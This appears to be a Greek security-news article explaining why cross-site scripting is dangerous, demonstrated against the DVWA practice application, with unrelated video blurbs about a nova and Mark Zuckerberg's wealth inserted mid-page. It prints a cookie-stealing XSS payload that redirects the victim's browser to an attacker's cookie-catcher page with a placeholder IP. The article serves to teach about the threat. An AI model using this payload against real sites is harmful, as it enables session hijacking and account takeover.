ΑρχικήinetΟι καταστροφικές συνέπειες του XSS

Οι καταστροφικές συνέπειες του XSS

Παρακολουθούμε τον τελευταίο καιρό το XSS να γίνεται όλο και πιο γνωστό στον χώρο της ασφάλειας εφαρμογών. Αν και το  SQL Injection δεν λέει να χάσει την πρωτιά του, ως η πιο διαδομένη ευπάθεια σε συστήματα πληροφορικής όπως αυτά καθορίζονται από το OWASP Top 10, οι ευπάθειες τύπου XSS κερδίζουν όλο και περισσότερο έδαφος καθώς αυξάνεται η γνώση εκμετάλλευσης της ευπάθειας καθώς και οι επιπτώσεις μιας τέτοιας επίθεσης.

Οι ευπάθειες XSS χωρίζονται σε 3 τύπους:

  • Reflected
  • Stored
  • DOM Based

Οι λεπτομέρειες σχετικά με κάθε τύπο ευπάθειας είναι πέραν του σκοπού αυτού του άρθρου, το σημαντικό είναι να λάβουμε υπόψη ότι οι ίδιες επιπτώσεις μπορούν να συμβούν σε κάθε τύπο.

Στις περισσότερες περιπτώσεις, όταν παρουσιάζεται μια ευπάθεια τύπου XSS είτε από κακόβουλους χρήστες είτε από συμβούλους ασφάλειας συστημάτων βλέπουμε μια από τις πιο ανώδυνες επιπτώσεις η οποία είναι η παρουσίαση ενός παραθύρου popup μέσα στον browser το οποίο επιτυγχάνεται με την εισαγωγή του κώδικα Java <script>alert(“XSS”)</script>. Με απλά λόγια διατάζει τον browser να εμφανίσει το παράθυρο με το μήνυμα “XSS”.

#secnews #star #coronaborealis

Ένα «νέο αστέρι» φωτίζεται στο νυχτερινό ουρανό. Αστρονόμοι σε όλο τον κόσμο συνεχίζουν να κοιτάζουν προς τον αστερισμό Corona Borealis σε απόσταση 3.000 ετών φωτός από τη Γη, όπου ένα αστέρι που έχει πεθάνει από καιρό αναμένεται να αναζωπυρωθεί σε μια έκρηξη τόσο ισχυρή που θα συναγωνιστεί για λίγο τη λάμψη του Βόρειου Αστέρα. Το αστρικό πτώμα φωτίστηκε τελευταία φορά πριν από σχεδόν 80 χρόνια και δεν θα αναζωπυρωθεί για άλλα 80 χρόνια, καθιστώντας το μια εμπειρία που συμβαίνει μία φορά στη ζωή μας.

00:00 Εισαγωγή
00:36 T Coronae Borealis 
01:18 Επαναλαμβανόμενα novas
01:42 Διαστημικό τηλεσκόπιο Fermi 

Μάθετε περισσότερα: https://www.secnews.gr/623498/monadiko-fainomeno-ena-neo-asteri-nixterino-ourano/

Follow us:
Facebook:  https://www.facebook.com/SecNews 
Instagram:  https://www.instagram.com/secnews.gr/  
X (Twitter):   https://twitter.com/Secnews_GR
TikTok:    https://www.tiktok.com/@secnewsgr

#secnews #star #coronaborealis

Ένα «νέο αστέρι» φωτίζεται στο νυχτερινό ουρανό. Αστρονόμοι σε όλο τον κόσμο συνεχίζουν να κοιτάζουν προς τον αστερισμό Corona Borealis σε απόσταση 3.000 ετών φωτός από τη Γη, όπου ένα αστέρι που έχει πεθάνει από καιρό αναμένεται να αναζωπυρωθεί σε μια έκρηξη τόσο ισχυρή που θα συναγωνιστεί για λίγο τη λάμψη του Βόρειου Αστέρα. Το αστρικό πτώμα φωτίστηκε τελευταία φορά πριν από σχεδόν 80 χρόνια και δεν θα αναζωπυρωθεί για άλλα 80 χρόνια, καθιστώντας το μια εμπειρία που συμβαίνει μία φορά στη ζωή μας.

00:00 Εισαγωγή
00:36 T Coronae Borealis
01:18 Επαναλαμβανόμενα novas
01:42 Διαστημικό τηλεσκόπιο Fermi

Μάθετε περισσότερα: https://www.secnews.gr/623498/monadiko-fainomeno-ena-neo-asteri-nixterino-ourano/

Follow us:
Facebook: https://www.facebook.com/SecNews
Instagram: https://www.instagram.com/secnews.gr/
X (Twitter): https://twitter.com/Secnews_GR
TikTok: https://www.tiktok.com/@secnewsgr

0

YouTube Video VVVDWG45SzRBbWhLQjFZMjNHbjY5YWV3LnpNVzNRUzl1UUYw

Ένα «νέο αστέρι» φωτίζεται στο νυχτερινό ουρανό

SecNewsTV 21 hours ago

#secnews #markzuckerberg #richest 

Σύμφωνα με το Bloomberg Billionaires Index, ο Mark Zuckerberg, διευθύνων σύμβουλος της Meta, είναι πλέον ο δεύτερος πλουσιότερος άνθρωπος στον κόσμο.

Η καθαρή περιουσία του Zuckerberg έφτασε τα 206,2 δισεκατομμύρια δολάρια την Πέμπτη, σύμφωνα με το Bloomberg και έτσι πήρε τη θέση του Jeff Bezos, πρώην CEO και προέδρου της Amazon. Ο Bezos βρίσκεται στην τρίτη θέση με 205,1 δισεκατομμύρια δολάρια. Την πρώτη θέση κατέχει ο επικεφαλής της Tesla, Elon Musk, με 256 δισεκατομμύρια δολάρια.

Μάθετε περισσότερα: https://www.secnews.gr/623474/mark-zuckerberg-deuteros-plousioteros-anthropos-kosmo/

00:00 Εισαγωγή
00:18 Πλουσιότεροι άνθρωποι - πρώτη τριάδα
00:45 Λίγα λόγια για τον Zuckerberg 
01:16 Αύξηση προσωπικής περιουσίας και μετοχών και εσόδων Meta
02:06 Επενδύσεις σε AI, metaverse και διαφημίσεις

Follow us:
Facebook:  https://www.facebook.com/SecNews 
Instagram:  https://www.instagram.com/secnews.gr/  
X (Twitter):   https://twitter.com/Secnews_GR
TikTok:    https://www.tiktok.com/@secnewsgr

#secnews #markzuckerberg #richest

Σύμφωνα με το Bloomberg Billionaires Index, ο Mark Zuckerberg, διευθύνων σύμβουλος της Meta, είναι πλέον ο δεύτερος πλουσιότερος άνθρωπος στον κόσμο.

Η καθαρή περιουσία του Zuckerberg έφτασε τα 206,2 δισεκατομμύρια δολάρια την Πέμπτη, σύμφωνα με το Bloomberg και έτσι πήρε τη θέση του Jeff Bezos, πρώην CEO και προέδρου της Amazon. Ο Bezos βρίσκεται στην τρίτη θέση με 205,1 δισεκατομμύρια δολάρια. Την πρώτη θέση κατέχει ο επικεφαλής της Tesla, Elon Musk, με 256 δισεκατομμύρια δολάρια.

Μάθετε περισσότερα: https://www.secnews.gr/623474/mark-zuckerberg-deuteros-plousioteros-anthropos-kosmo/

00:00 Εισαγωγή
00:18 Πλουσιότεροι άνθρωποι - πρώτη τριάδα
00:45 Λίγα λόγια για τον Zuckerberg
01:16 Αύξηση προσωπικής περιουσίας και μετοχών και εσόδων Meta
02:06 Επενδύσεις σε AI, metaverse και διαφημίσεις

Follow us:
Facebook: https://www.facebook.com/SecNews
Instagram: https://www.instagram.com/secnews.gr/
X (Twitter): https://twitter.com/Secnews_GR
TikTok: https://www.tiktok.com/@secnewsgr

0

YouTube Video VVVDWG45SzRBbWhLQjFZMjNHbjY5YWV3LlRLRDZFUUs4cDg4

Mark Zuckerberg: Έγινε ο δεύτερος πλουσιότερος άνθρωπος! 💰💰

SecNewsTV 23 hours ago

Για την παρουσίαση θα χρησιμοποιήσουμε το Damn Vulnerable Web Application (DVWA), το οποίο έχει σχεδιαστεί για την εξάσκηση και εκμάθηση διαφόρων ειδών ευπαθειών.

DVWA

Αν και αυτό καθαυτό δεν δημιουργεί ανησυχία στον χρήστη, για τους κακόβουλους χρήστες αυτή είναι μια εισαγωγή για περαιτέρω κλιμάκωση της επίθεσης με αρκετά καταστροφικά αποτελέσματα.

‘Ένα άλλο σημαντικό στοιχείο το οποίο πρέπει να λάβουμε υπόψη είναι ότι, η επικινδυνότητα της ευπάθειας αυτής διαφαίνεται περισσότερο όταν η εφαρμογή είναι προσβάσιμη σε χρήστες μετά την καταχώρηση των διαπιστευτηρίων τους π.χ eBanking, eBay, Amazon κτλ.

Οι κακόβουλοι χρήστες χρησιμοποιούν τεχνικές ούτως ώστε η κάθε εφαρμογή να μην αναγκάζει τους χρήστες να καταχωρούν τα διαπιστευτήρια τους κατά την πλοήγησή τους από σελίδα σε σελίδα, αλλά να αποθηκεύονται σε ειδικό αρχείο το οποίο αποστέλλεται από τον διακομιστή και αποθηκεύεται στον browser του χρήστη. Το αρχείο αυτό περιλαμβάνει πληροφορίες από το αν ο χρήστης έχει ήδη κάνει login, μέχρι και πληροφορίες σχετικά με το καρότσι αγορών του κτλ.

Τα αρχεία αυτά είναι τα γνωστά μας Cookies, τα οποία συνήθως σβήνονται αμέσως μετά το κλείσιμο του browser, αν δεν γίνει αυτή η διαδικασία, τότε αυξάνει ο κίνδυνος κλοπής και χρήσης τους σε μεταγενέστερο στάδιο. Το αρχείο αυτό μεταφέρεται πίσω στον διακομιστή κάθε φορά που ο χρήστης ανοίγει μια σελίδα στην εφαρμογή.

Κάθε φορά που ο χρήστης ζητά μια σελίδα ο browser αποστέλλει το Cookie μέσα στο header της αίτησης. Στην περίπτωση που ο χρήστης δεν έχει Cookie ή αυτό έχει λήξει τότε ο διακομιστής απαντά με ένα νέο Cookie στο δικό του header το οποίο αποθηκεύεται στον browser.

Όταν ένας κακόβουλος χρήστης ανακτήσει το αρχείο, τότε αυτό θα μπορέσει να εισέλθει στην εφαρμογή χωρίς την ανάγκη καταχώρησης διαπιστευτηρίων και θα μπορεί να χρησιμοποιήσει την εφαρμογή ώς ο νόμιμος χρήστης της.

Ο τρόπος που δουλεύει η συγκεκριμένη επίθεση παρατίθεται πιο κάτω.

XSS Flow

Εδώ αξίζει να αναφέρουμε ότι ο Chrome έχει ενσωματωμένο τον XSS Auditor, ο οποίος είναι ένας μηχανισμός αναγνώρισης και παρεμπόδισης εκμετάλλευσης των ευπαθειών τύπου XSS.  Αν και ο μηχανισμός αυτός αναγνωρίζει τις προσπάθειες και προστατεύει τον χρήστη με την παρεμπόδιση εκτέλεσης του κώδικα, παρόλα αυτά έχουν γίνει γνωστές επιθέσεις εξαπάτησής του.

Όπως στην περίπτωση της εμφάνισης του μηνύματος “XSS”, με τον ίδιο απλό τρόπο μπορεί να εμφανιστεί και το Cookie που ανήκει στον χρήστη και είναι αποθηκευμένο στον browser του, με την εισαγωγή του κώδικα <script>alert(document.Cookie)</script> .

Μια από τις δυσκολίες επιτυχίας των επιθέσεων αυτών είναι το γεγονός ότι η ευπάθεια παρουσιάζεται στο παράθυρο του χρήστη. Δηλαδή, έστω και αν εμφανιστεί το Cookie στην οθόνη του χρήστη αυτό δεν το καθιστά επικίνδυνο εκτός και αν ο κακόβουλος χρήστης έχει πρόσβαση στην οθόνη του θύματος. Οι κακόβουλοι χρήστες σκέφτηκαν αφού οι ευπάθειες αυτές έχουν σχέση με την εισαγωγή κώδικα τότε το επόμενο βήμα θα ήταν να εισάγουν κώδικα ο οποίος θα στέλνει τα Cookies σε αυτούς μέσω άλλων καναλιών όπως email ή μια ιστοσελίδα η οποία ανήκει στον κακόβουλο χρήστη και μπορεί να εξυπηρετήσει ως Cookie catcher.

Επιστρέφουμε στο DVWA με στόχο να πάρουμε τα Cookies του χρήστη και να τα στείλουμε στο Cookie catcher που ελέγχεται από εμάς και εισάγουμε τον κώδικα <script>document.location=”http://xxx.xxx.xxx.xx/catcher.php?c=”+document.Cookie</script> όπου Χ είναι η IP του Cookie catcher μας.

Στη δική μας περίπτωση ο Cookie catcher μας είναι μια απλή PHP ιστοσελίδα η οποία αποθηκεύει τις πληροφορίες που έρχονται όπως:

  •  Cookie
  • IP
  • Referrer
  • Date

Τα αποτελέσματα της επίθεσης φαίνονται παρακάτω αποδεικνύοντας την επιτυχία της επίθεσης αφού καταφέραμε να αποσπάσουμε τα Cookies καθώς και άλλες χρήσιμες πληροφορίες. Ο κακόβουλος χρήστης μπορεί τώρα να εισέλθει στην εφαρμογή με την χρήση των Cookies και χωρίς την ανάγκη καταχώρησης κωδικού. Επίσης, σημαντικό είναι ότι η επίθεση αυτή είναι πολύ δύσκολο να αναγνωριστεί από τον χρήστη, καθώς το μόνο που βλέπει είναι ότι η συγκεκριμένη σελίδα δεν φορτώνει.

cookies

Σκοπός του άρθρου αυτού ήταν να δείξουμε ότι οι ευπάθειες τύπου XSS δεν περιορίζονται σε απλά popup παραθυράκια, αλλά μπορούν να έχουν καταστροφικές συνέπειες όπως κλοπή προσωπικών δεδομένων, κλοπή χρημάτων κλπ.

 

 

SecNews
SecNewshttps://www.secnews.gr
In a world without fences and walls, who need Gates and Windows
spot_img

Εγγραφή στο Newsletter

* indicates required

FOLLOW US

LIVE NEWS